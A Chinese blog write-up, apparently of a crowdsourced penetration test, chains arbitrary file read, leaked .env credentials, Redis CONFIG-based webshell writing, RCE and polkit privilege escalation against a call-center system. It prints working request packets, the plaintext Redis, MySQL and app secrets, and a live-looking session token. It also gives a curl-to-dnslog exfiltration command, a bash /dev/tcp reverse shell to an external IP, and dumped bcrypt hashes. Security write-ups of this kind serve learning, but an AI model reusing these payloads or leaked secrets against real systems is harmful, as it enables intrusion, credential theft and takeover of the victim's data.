一次Redis_RCE和提权的心路历程
在某次众测渗透测试过程中,遇到一个比较脆弱的系统,并且完成了完整的RCE和内核漏洞提权的过程。很值得大家学习噢,因此小编也是熬夜给大家写了这篇文章,讲解了如何打点以及一步步完成RCE和提权的。
这是博主的公众号(菜鸟学安全),大家可以关注一下我噢,主要分享安全领域各方面,AI安全,渗透测试,漏洞挖掘和工作经验分享。我会将这几年踩过的坑和攒下的东西系统整理出来,不定时在公众号更新的。


1 未授权任意文件读取
漏洞描述
资产详情:
http://xx.xx.xx.xx:8996/api/v1/onLineRecord
位置:POST http://xx.xx.xx.xx:8996/api/v1/onLineRecord(无任何 token 校验)
成因:/opt/lampp/htdocsbiaozhun/app/Http/Controllers/Api/TaskInterfaceApi.php:195
参数recordPath、recordFile直接拼入fopen读取并回显,可读取服务器任意文件。
读取etc/passwd。
请求包:(1)读 /etc/passwd
POST /api/v1/onLineRecord HTTP/1.1
Host:xx.xx.xx.xx:8996
Content-Type: application/json
{"recordPath":"/etc/","recordFile":"passwd"}
响应包:
HTTP/1.1 200 OK
Content-Type: audio/x-wav
root❌0:0:root:/root:/bin/bash
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
...(完整 /etc/passwd 回显)
读.env—泄露全部凭据。
请求包:(1)读 /etc/passwd
POST /api/v1/onLineRecord HTTP/1.1
Host:xx.xx.xx.xx:8996
Content-Type: application/json
{"recordPath":"/opt/lampp/htdocsbiaozhun/","recordFile":".env"}
响应包:
HTTP/1.1 200 OK
Content-Type: audio/x-wav
Content-disposition: attachment; filename="/opt/lampp/htdocsbiaozhun/.env"
APP_NAME=智能xx系统
APP_KEY=base64:R1I7X+VqLlTzLNW+xx.xx.xx.xx+x/km/Rcx1jctwhVjz4=
DB_CONNECTION=mysqlDB_HOST=127.0.0.1DB_PORT=33068
DB_DATABASE=callcenterDB_USERNAME=rootDB_PASSWORD=xun.xx.com
REDIS_PASSWORD=5gwW1hWM7xAtFXXDpW50MOdimAMMwREDIS_PORT=8293
isLocalWeb=0
ws_address=xx.xx.xx.xxws_port=9502agent_link_freeswitch_port=5008 ...
2 .env明文凭据与敏感配置泄露
漏洞描述
任意文件读取直接导致以下敏感信息外泄。
(/opt/lampp/htdocsbiaozhun/.env 与 /opt/lampp/htdocs_fz/.env):
读取路径:
POST http://xx.xx.xx.xx:8996/api/v1/onLineRecord 。
/opt/lampp/htdocsbiaozhun/.env 与 /opt/lampp/htdocs_fz/.env。
请求包:
POST /api/v1/onLineRecord HTTP/1.1
Host:xx.xx.xx.xx:8996
Content-Type: application/json
{"recordPath":"/opt/lampp/htdocsbiaozhun/","recordFile":".env"}
响应包:
HTTP/1.1 200 OK
Content-Type: audio/x-wav
APP_NAME=智能xx系统
APP_KEY=base64:R1I7X+VqLlTzLNW+xx.xx.xx.xx+x/km/Rcx1jctwhVjz4=
DB_CONNECTION=mysqlDB_HOST=127.0.0.1DB_PORT=33068
DB_DATABASE=callcenterDB_USERNAME=rootDB_PASSWORD=xun.xx.com
REDIS_PASSWORD=5gwW1hWM7xAtFXXDpW50MOdimAMMwREDIS_PORT=8293
isLocalWeb=0ws_address=xx.xx.xx.xxws_port=9502 ...
3 Redis 服务公网暴露+写shell
漏洞描述
Redis 2.8.17 @ xx.xx.xx.xx:8293(公网),口令来自 .env(任意文件读获取),root 运行,CONFIG 未禁用。另存 8198+ 业务键:user:auth:FRONTEND_LOGIN_SYSTEM|*(会话令牌)、telephone:😗、vocalPrint:☎️:*等。
8293 端口对公网开放;认证口令虽为强随机,但以明文存于可被任意文件读取的 .env。认证后具备 CONFIG SET dir/dbfilename + SAVE 任意文件写入能力,且 Redis 进程为 root —— 构成写 WebShell / 写入 SSH 密钥 / 计划任务等完整 RCE 通道。
Redis(8293) 凭据登录 + CONFIG 写文件:
根据任意文件读取漏洞获取的.env泄露Redis口令5gwW1hWM7xAtFXXDpW50MOdimAMMw,Redis以root运行且CONFIGSETdir/dbfilename未禁用。
redis-cli -h xx.xx.xx.xx -p 8293
AUTH 5gwW1hWM7xAtFXXDpW50MOdimAMM,连接Redis成功。
请求包:
redis-cli -hxx.xx.xx.xx-p 8293
AUTH5gwW1hWM7xAtFXXDpW50MOdimAMMw→ +OK
CONFIG SET dir /opt/lampp/htdocsbiaozhun/public → +OK
CONFIG SET dbfilename tshell.php→ +OK
SET tshell ''→ +OK
SAVE→ +OK
→ http://xx.xx.xx.xx:9996/tshell.php?c=id 执行 uid=2(daemon)
4 远程命令执行(RCE)+提权
漏洞描述
漏洞危害:
以 Web 服务用户(daemon)执行任意系统命令;因 Redis 为 root 进程且拥有写文件能力,攻击者可进一步向任意可写/root 可写路径写入文件、读取 Redis 内全部会话与业务缓存(含登录令牌),等同于服务器失陷。
RCE执行步骤:
Step 1 未授权任意文件读取:
读取 /opt/lampp/htdocsbiaozhun/.env,获得数据库与 Redis 明文口令。
Step 2 Redis(8293) 凭据登录 + CONFIG 写文件:
.env 泄露 Redis 口令
5gwW1hWM7xAtFXXDpW50MOdimAMMw,Redis 以 root 运行且 CONFIG SET dir/dbfilename 未禁用。
AUTH5gwW1hWM7xAtFXXDpW50MOdimAMMw
CONFIG SET dir /opt/lampp/htdocsbiaozhun/public
CONFIG SET dbfilename shell.php
SET x ''
SAVE
Step 3 PHP 执行验证:写入的 dump 文件被 Apache 以 PHP 解析。
GET http://xx.xx.xx.xx:9996/shell.php?c=id
返回内容包含:
uid=2(daemon) gid=2(daemon) groups=2(daemon)
请求包:
redis-cli -hxx.xx.xx.xx-p 8293
AUTH5gwW1hWM7xAtFXXDpW50MOdimAMMw→ +OK
CONFIG SET dir /opt/lampp/htdocsbiaozhun/public → +OK
CONFIG SET dbfilename tshell.php→ +OK
SET tshell ''→ +OK
SAVE→ +OK
→ http://xx.xx.xx.xx:9996/tshell.php?c=id 执行 uid=2(daemon)
RCE命令执行payload访问地址:
http://xx.xx.xx.xx:9996/tshell.php?c=id
但是返回的信息是乱码,是Redis的信息特性,返回信息存储在内存中。看不到命令执行的结果
采用2种方法:使用dnslog数据外带和反弹shell。
dnslog数据外带,获取子域名:
payload命令:
http://xx.xx.xx.xx:9996/tshell.php?c=curl -s http://$(ls).s2lwsl.dnslog.cn/
http://xx.xx.xx.xx:9996/tshell.php?c=curl%20-s%20http%3A%2F%2F%24%28whoami%29.roupwv.dnslog.cn%2F
Url解码后
http://xx.xx.xx.xx:9996/tshell.php?c=curl -s http://$(whoami).roupwv.dnslog.cn/
Whoami的结果为daemon。
Id的结果为:groups=2\(daemon\)。
反弹shell:
http://xx.xx.xx.xx:9996/tshell.php?c=bash -c 'bash -i >& /dev/tcp/8.xx.xx.15/8887 0>&1'
在远程服务器监听8887端口。
nc -lvvnp 8887
成功反弹shell。
利用polkit漏洞提权结果。
bash-4.2$ ./exp
uid=0(root) gid=0(root) groups=0(root),2(daemon)
ROOT-SHELL-READY
bash: no job control in this shell
[root@iZwz9hlow4cfn7c41ujqd1Z .pwn]#
·提权前:uid=2(daemon) gid=2(daemon) groups=2(daemon)
·提权后:uid=0(root) gid=0(root) groups=0(root),2(daemon)
·提示符由 bash-4.2$ → [root@iZwz9hlow4cfn7c41ujqd1Z .pwn]#
5 MySQL root口令泄露+3306公网直连
漏洞描述
漏洞路径:
mysql -h xx.xx.xx.xx -P 3306 -u root -pxun.xx.com
DB口令root/xun.xx.com(MySQL3306公网直连成功)
.Env泄露数据库明文口令(DB_PASSWORD=xun.xx.com),且MySQL3306端口对公网开放,root口令直接复用成功,可读写13个业务库(callcenter/callcenters/nacos/yunzhiplush*等)全部表数据。
callcenter.users 表可直接读取全部管理员/坐席账号与 bcrypt 哈希;业务库含真实通话记录、名单数据。
请求包:
mysql -hxx.xx.xx.xx-P 3306 -u root -pxun.xx.com -e "show databases;"
响应包:
| Database|
| information_schema |
| callcenter|
| callcenter_huijin|
| callcenter_huike20241209 |
| callcenter_shengwen|
| callcenters|
| mysql | nacos | sys|
| yunzhiplush | yunzhiplush1 | yunzhiplush2 | yunzhiplush3 |
+--------------------+
请求包:
mysql ... -e "USE callcenter; SELECT user_name,password,status FROM users WHERE status='0';"
+----------+--------------------------------------------------------------+--------+
| user_name| password| status |
+----------+--------------------------------------------------------------+--------+
| admin| $2y$10$wt7C421GXXWF0cj5XOE6.m5xFGVr1s.s3C | 0
| aitesta| $2y$10$7Kunj9fG4XXd/t8vm7r4OTTHCK5r9q | 0
| ceshic1| $2y$10$Uy.SXXzOH9Pv4I2RbSNdIw.| 0
+----------+--------------------------------------------------------------+--------+
使用DB口令root/xun.xx.com
连接成功
6 盲SSRF
漏洞描述
漏洞路径:
http://xx.xx.xx.xx:8996/api/v1/onLineRecord
onLineRecordfopen支持URL协议
fopen($url,'r') 在 PHP allow_url_fopen 开启时支持 http:// 等协议。
DNSLog 外带验证(证明服务器端发起任意 URL 请求):
recordPath 指向 DNSLog 子域,fopen 触发服务器,
对 http://ssrf1.s3upxx.dnslog.cn/ 的 DNS 解析+HTTP 请求,平台记录=外带实证。
POST /api/v1/onLineRecord HTTP/1.1
Host:xx.xx.xx.xx:8996
Content-Type: application/json
{"recordPath":"http://ssrf1.s3upxx.dnslog.cn/","recordFile":""}
HTTP/1.1 500(filesize 对远程失败=半盲特征,外带已发生);观测:s3upxx.dnslog.cn 平台 DNS 记录出现 ssrf1/ssrf2.s3upxx.dnslog.cn(来源=目标出口 IP)。
dnslog平台成功回显,说明存在SSRF漏洞。
s3upxx.dnslog.cn
ssrf1.s3upxx.dnslog.cn
ssrf2.s3upxx.dnslog.cn
7 Redis会话越权登录(9998端口-任意用户身份接管)
漏洞描述
漏洞影响:
批量窃取会话,以任意在线用户身份越权读取运营数据;会话缓存明文存密码哈希;token 长期有效。
9998端口前端指向 /frontend/* 运营管理 API
(account/cdr/user/blacklist/recharge/task/warningTask 等,均有鉴权,未登录返回 UnAuthorization)。但其登录会话存于 Redis(8293)(口令已由 .env 泄露获取,全站通用):Redis 中 user:auth:FRONTEND_LOGIN_SYSTEM|* 共 2068 条真实会话键,值即登录用户完整对象(含 passwd/password 两列 bcrypt 哈希、SIP 配置、ext 分机)。直接取会话键值作为 Authorization 头即可获得任意在线用户的登录态。
获取Redis的会话roken。
redis-cli -h xx.xx.xx.xx -p 8293
AUTH 5gwW1hWM7xAtFXXDpW50MOdimAMMw
KEYS user:auth:*→ 2081条会话,任取一条即可切换身份(含管理员)
获取会话内容。
·① 越权读主叫列表 — 完整请求/响应包:
http://xx.xx.xx.xx:9998/frontend/caller/action?act=getCallers&entityId=caller
POST /frontend/caller/action?act=getCallers&entityId=caller HTTP/1.1
Host:xx.xx.xx.xx:9998
Authorization: FRONTEND_LOGIN_SYSTEM|20250520150726e0081d12d02e5d1d8747dcd8e69f367f
Content-Type: application/json
{}
HTTP/1.1 200 OK
Vary: Authorization
Content-Length: 271
Content-Type: application/json
{"code":10,"msg":"操作成功","data":[{"caller_group":"0220250303","caller":"0220250303","caller_note":"0220250303(0220250303)","caller_range":"0220250303"},{"caller_group":"666666","caller":"666666","caller_note":"666666(666666)","caller_range":"666666"}]}
②越权读子账号(含bcrypt哈希) — 完整请求/响应包:
http://xx.xx.xx.xx:9998/frontend/user/action?act=getUsersOfParentSn&entityId=user
POST /frontend/user/action?act=getUsersOfParentSn&entityId=user HTTP/1.1
Host:xx.xx.xx.xx:9998
Authorization: FRONTEND_LOGIN_SYSTEM|20250520150726e0081d12d02e5d1d8747dcd8e69f367f
Content-Type: application/json
{"parentSn":"aitest"}
HTTP/1.1 200 OK
Vary: Authorization
Transfer-Encoding: chunked
Content-Type: application/json
{"code":10,"msg":"操作成功","data":{"current_page":1,"data":[{"id":224,"user_sn":"USER|2025022817...","user_name":"aitestadmin001","parent_sn":"aites
8 未授权访问(9997端口)
漏洞描述
漏洞路径:
POST http://xx.xx.xx.xx:9997/api/v1/userList
请求体json为:{"userName":"admin"}
POST /api/v1/userList 无 token + body {"userName":"admin"} → code:200 返回全量用户,含密码 bcrypt 哈希原文(password/passwd 字段)、超级管理员联系方式/团队、SIP 配置等
9 任意文件读取(9997端口)
漏洞描述
漏洞路径:
http://xx.xx.xx.xx:9997/api/v1/onLineRecord
旁站9997端口与主站同为 CCDS 智能xx系统(同 .env 口令体系、同 APP_KEY、isLocalWeb=0),且后端 DB(3306/callcenters)正常,可完成主站因 DB 宕机未能达成的数据级取证:
请求包:
POST /api/v1/onLineRecord HTTP/1.1
Host:xx.xx.xx.xx:9997
Content-Type: application/json
{"recordPath":"/etc/","recordFile":"passwd"}
响应包:
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Unix) OpenSSL/1.0.2j PHP/7.1.4
Content-disposition: attachment; filename="/etc/passwd"
Content-Length: 1568
root❌0:0:root:/root:/bin/bash
daemon❌2:2:daemon:/sbin:/sbin/nologin
...(完整 /etc/passwd 回显,含 mysql/dockerroot/rabbitmq 等)
上述是一次众测的Redis_RCE和提权的心路历程。希望大家好好学习,不断进步,一起加油吧。
浙公网安备 33010602011771号